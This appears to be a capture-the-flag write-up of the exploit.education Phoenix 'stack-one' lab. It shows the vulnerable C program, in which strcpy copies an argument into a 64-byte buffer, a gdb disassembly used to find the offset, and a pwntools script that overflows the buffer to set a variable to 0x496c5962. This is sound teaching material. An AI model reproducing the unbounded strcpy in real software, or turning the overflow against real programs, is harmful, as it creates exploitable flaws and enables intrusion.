Phoenix - Stack One
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define BANNER \
"Welcome to " LEVELNAME ", brought to you by https://exploit.education"
int main(int argc, char **argv) {
struct {
char buffer[64];
volatile int changeme;
} locals;
printf("%s\n", BANNER);
if (argc < 2) {
errx(1, "specify an argument, to be copied into the \"buffer\"");
}
locals.changeme = 0;
strcpy(locals.buffer, argv[1]);
if (locals.changeme == 0x496c5962) {
puts("Well done, you have successfully set changeme to the correct value");
} else {
printf("Getting closer! changeme is currently 0x%08x, we want 0x496c5962\n",
locals.changeme);
}
exit(0);
}
This code uses strcpy function which is dangerous because the source size could be more than destination size.
The only difference from this level and the previous one is that it requires changeme to be set to a specific value 0x496c5962.
Now we can use gdb:
$ gdb -q /opt/phoenix/amd64/stack-one
Reading symbols from stack-one...(no debugging symbols found)...done.
gef⤠disassemble main
Dump of assembler code for function main:
0x000000000040066d <+0>: push rbp
0x000000000040066e <+1>: mov rbp,rsp
0x0000000000400671 <+4>: sub rsp,0x60
0x0000000000400675 <+8>: mov DWORD PTR [rbp-0x54],edi
0x0000000000400678 <+11>: mov QWORD PTR [rbp-0x60],rsi
0x000000000040067c <+15>: mov edi,0x400750
0x0000000000400681 <+20>: call 0x4004c0 <puts@plt>
0x0000000000400686 <+25>: cmp DWORD PTR [rbp-0x54],0x1
0x000000000040068a <+29>: jg 0x4006a0 <main+51>
0x000000000040068c <+31>: mov esi,0x4007a0
0x0000000000400691 <+36>: mov edi,0x1
0x0000000000400696 <+41>: mov eax,0x0
0x000000000040069b <+46>: call 0x4004d0 <errx@plt>
0x00000000004006a0 <+51>: mov DWORD PTR [rbp-0x10],0x0
0x00000000004006a7 <+58>: mov rax,QWORD PTR [rbp-0x60]
0x00000000004006ab <+62>: add rax,0x8
0x00000000004006af <+66>: mov rdx,QWORD PTR [rax]
0x00000000004006b2 <+69>: lea rax,[rbp-0x50]
0x00000000004006b6 <+73>: mov rsi,rdx
0x00000000004006b9 <+76>: mov rdi,rax
0x00000000004006bc <+79>: call 0x4004a0 <strcpy@plt>
.....
We can see that buffer is at rbp-0x50 (main+69) and changeme is at rbp-0x10 (main+51) so we need 64 characters to fill this gap then we can overwrite changeme value.
Solution:
# solve.py
from pwn import *
buff = ""
buff += 'A'*64
buff += p64(0x496c5962)
print(buff)
$ /opt/phoenix/amd64/stack-one $(python solve.py)
Welcome to phoenix/stack-one, brought to you by https://exploit.education
Well done, you have successfully set changeme to the correct value